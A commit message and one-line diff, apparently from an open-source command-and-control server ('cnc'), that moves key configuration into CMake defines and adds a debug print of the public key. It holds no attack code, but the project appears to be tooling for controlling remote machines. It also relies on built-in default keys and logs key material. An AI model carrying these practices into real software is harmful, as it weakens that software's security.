Refactored how CMake passes version & settings info

- keys can now be passed per-build passing -DLAIKA_PUBKEY=[pubkey] & -LAIKA_PRIVKEY=[pubkey] to `cmake -B`
- if those definitions aren't passed, the default public & private key will be used (for quick testing)

cnc/src/cnc.c

@@ -63,6 +63,7 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
         LAIKA_ERROR("LibSodium failed to initialize!\n");
     }
 
+    LAIKA_DEBUG(LAIKA_PUBKEY);
     if (sodium_hex2bin(cnc->pub, crypto_box_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
         laikaC_freeCNC(cnc);
         LAIKA_ERROR("Failed to init cnc public key!\n");